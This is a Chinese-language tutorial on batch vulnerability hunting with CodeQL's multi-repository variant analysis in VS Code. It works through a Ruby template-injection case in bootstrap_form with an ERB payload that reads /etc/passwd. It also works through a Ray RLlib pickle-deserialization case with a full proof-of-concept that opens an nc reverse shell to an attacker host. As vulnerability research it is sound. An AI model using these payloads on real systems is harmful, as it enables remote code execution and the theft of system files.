1.什么是 MRVA?
CodeQL相关的资料目前已经非常多了，但是大部分都集中在介绍ql语法以及基本使用上，更多关注的是对单个项目进行分析。那么如何批量进行漏洞挖掘呢？这里介绍下MRVA。
MRVA是multi-repository variant analysis 的缩写。其实是VScode 里codeql插件的一个功能，只不过经常被大家忽视。使用MRVA可以一次性对多个GitHub仓库进行漏洞扫描并且不需要我们编译源码数据库，无疑给我们带来了极大的便利。
当添加大量GitHub仓库时，MRVA通常会比较缓慢，可以通过Github Code Search 查询敏感的sink点，缩小仓库范围，然后再将筛选出来的仓库添加到MVRVA的仓库中从而增加检测速度。如果结合官方或者自定义的ql文件，无疑会大大提高漏洞发现的概率。
2.MRVA vs CodeQL suites
MRVA 和 CodeQL suites之间有什么区别呢？MRVA 其实是建立在CodeQL suites之上的，通过结合github action 来实现，漏洞扫描动作是在GitHub官方镜像里面完成的，这些动作都是对用户透明的。下列两张图生动形象的展示了两者之间的区别。
CodeQL suite
MRVA
CodeQL suite是针对单个项目就像是鱼竿一次只能钓一条，而MRVA则像是渔网，一次可以针对多个仓库，无疑后者会节约大量时间。
3.如何使用MRVA
3.1 在VSCode中安装codeql插件
搜索并安装codeql插件
3.2 配置 Github controller
MRVA的原理是使用Github actions运行CodeQL queries，为了加快速度GitHub其实已经构建了目标数据库。因此我们需要依赖一个GitHub 仓库来完成GitHhub actions。仓库的名称不重要，但该仓库至少需要一个commit。
建立好controller 仓库后，就可以配置codeql插件了。进入VScode配置中，搜索codeql，如下，在variant analysis中配置。名称和上一步创建的保持一致即可。
4.导入GitHub仓库
在codeql插件中有几种导入仓库的方式
默认情况下有top10、top100、top1000 的仓库地址，如果使用直接勾选即可。也可以根据自己需要选择数据库，点击+号可以直接添加某个仓库，也可以根据仓库owner或者组织进行批量添加。
当选择文件夹的标志时，可以创建一个list，这里创建了一个test，在test鼠标右键可以看到支持从GitHub Code Search直接添加仓库，这样筛选出来的仓库存在漏洞的概率就更大，检测的时间也更短。
同时我们也可以直接修改配置文件，添加仓库。
5.MRVA漏洞挖掘实战
5.1服务器端模板注入 (Ruby)
我们通过服务器端模板注入漏洞为例，来测试下 MRVA。该ql已经集成进codeql suites中，
ruby/ql/src/experimental/template-injection/TemplateInjection.ql。
使用上述ql语句扫描了GitHub top1000的项目，排除误报后发现了下列项目存在漏洞:
bootstrap-ruby/bootstrap_form.
下面对漏洞进行验证：
bootstrap_form/demo/bin ❯ sudo ./rails s
执行完毕之后，demo运行在3000端口
def fragment
@erb = params[:erb]
@erb.prepend '<div class="p-3 border">'
@erb << "</div>"
load_models
render inline: @erb, layout: "application" # rubocop: disable Rails/RenderInline
end
从上面代码可知，demo应用接收了erb参数并拼接了html标签最后解析执行，从下面代码可知路由为/fragment
Dummy::Application.routes.draw do
get "fragment" => "bootstrap#fragment", as: :fragment
resources :users
root to: "bootstrap#form"
end
分析完毕代码之后，我们尝试通过如下payload 利用ssti读取passwd文件:
<%= IO.popen('cat /etc/passwd').readlines() %>
可惜的是虽然证明了上述demo确实存在漏洞，但由于该demo仅供演示，因此没有危害。但我们整个流程是走通了。
5.2不安全的反序列化 (Python)
使用默认的codeql suites的python ql文件UnsafeDeserialization.ql对GitHub top 1000项目进行扫描，发现ray项目存在漏洞。
从上述查询结果中可以发现RLlib的 PolicyServerInput 类 (
/ray/python/ray/rllib/env/policy_server_input.py)直接对用户提交的raw_body进行了反序列化操作，如下
def do_POST(self):
content_len = int(self.headers.get("Content-Length"), 0)
raw_body = self.rfile.read(content_len)
parsed_input = pickle.loads(raw_body)
经分析发现上述危险类在
/ray/rllib/examples/serving/cartpole_server.py (l.101-115)中使用
if __name__ == "__main__":
args = parser.parse_args()
ray.init()
def _input(ioctx):
if ioctx.worker_index > 0 or ioctx.worker.num_workers == 0:
return PolicyServerInput(
ioctx,
SERVER_ADDRESS,
args.port + ioctx.worker_index - (1 if ioctx.worker_index > 0 else 0),
)
启动该server并进行测试
python3 /ray/rllib/examples/serving/cartpole_server.py
poc如下，发送恶意的代码到目标端口并监听反向连接
import requests
import pickle
import os
attacker = "localhost"
attacker_port = "4444"
class RCE:
def __reduce__(self):
cmd = (f'rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc {attacker} {attacker_port} > /tmp/f')
return os.system, (cmd,)
# Serialize the malicious class
pickled = pickle.dumps(RCE())
# Define the URL to which you want to send the POST request
url = "http://localhost:9900/"
headers = {
"Content-Type": "application/octet-stream", # Indicate that we are sending binary data
}
# Send the POST request with the serialized data
requests.post(url, data=pickled, headers=headers)
执行poc之后，接收到反弹shell，证明漏洞确实存在
python3 exploit.py
经过与ray官方沟通，官方认为该接口不应暴露在外，因此不认为是漏洞。经过上述例子再次证明MRVA的强大。
参考链接：